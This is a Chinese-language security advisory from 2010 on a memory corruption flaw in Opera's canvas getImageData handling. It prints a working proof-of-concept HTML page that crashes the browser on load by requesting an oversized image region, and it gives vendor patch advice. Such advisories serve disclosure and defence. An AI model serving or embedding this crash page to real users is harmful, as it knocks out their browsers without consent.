安全研究
安全漏洞
Opera JavaScript getImageData内存破坏漏洞
发布日期:2010-07-12
更新日期:2010-07-12
受影响系统:Opera Software Opera
描述:
Opera为来自挪威的一个浏览器,具有速度快、节省系统资源、订制能力强、安全性高以及体积小等特点,目前已经是最受欢迎的浏览器之一。
Opera在 <canvas> 元素的实现上存在安全漏洞,可导致拒绝服务。
<*来源:Pouya Daneshmand
链接:
http://www.exploit-db.com/exploits/14349/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Opera.html
<html>
<body onload="Opera()">
<script language=JavaScript>
function Opera() {
canvas = document.getElementById("canvas");
ctx = canvas.getContext("2d");
ctx.getImageData(0,0,0x20000,0x20000);
}
</script>
<canvas id=canvas width=10 height=10></canvas>
</body>
</html>
Original Advisory:
http://pouya.info/blog/userfiles/vul/OperaCC.pdf建议:
厂商补丁:
Opera Software
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.opera.com/download/浏览次数:2077
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |